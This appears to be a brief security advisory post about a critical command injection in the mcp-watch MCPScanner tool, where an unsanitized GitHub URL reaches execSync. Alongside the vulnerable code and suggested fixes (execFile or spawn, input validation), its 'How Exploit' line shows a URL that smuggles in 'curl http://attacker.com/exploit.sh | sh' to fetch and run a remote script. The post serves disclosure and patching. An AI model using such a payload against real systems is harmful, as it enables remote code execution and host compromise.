MCPScanner (mcp-watch), Command Injection, Critical

Listen to this Post

The vulnerability exists in the `cloneRepo` method of the MCPScanner class within an MCP scanning tool. The method takes a user-supplied `githubUrl` parameter and passes it directly into the `child_process.execSync()` function without any sanitization. The `execSync` function spawns a system shell (/bin/sh on Unix, `cmd.exe` on Windows) to execute the `git clone` command. Because the URL string is constructed within the shell command without proper escaping, an attacker can inject shell metacharacters (like ;, &, |, backticks, or $()) into the URL argument. When the command is executed, the shell interprets these metacharacters as command separators or substitution operators, allowing the attacker to append and execute arbitrary system commands with the privileges of the application process. This leads to full Remote Code Execution (RCE) on the host running the scanner.
Platform: mcp-watch
Version: < patched
Vulnerability: Command Injection
Severity: Critical
date: Undisclosed

Prediction: 2024-11-01

What Undercode Say:

Analytics

find . -name ".ts" -type f -exec grep -l "execSync.git clone" {} \;
// Vulnerable code from src/scanner/McpScanner.ts
const command = <code>git clone ${url} ${targetDir}</code>;
const result = execSync(command, { stdio: 'pipe' });

How Exploit:

npm run scan:github "https://github.com/owner/repo; curl http://attacker.com/exploit.sh | sh"

Protection from this CVE

Use `execFile` or `spawn`.

Validate and sanitize input.

Apply shell escaping.

Impact:

Remote Code Execution

Host Compromise

Data Exfiltration

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top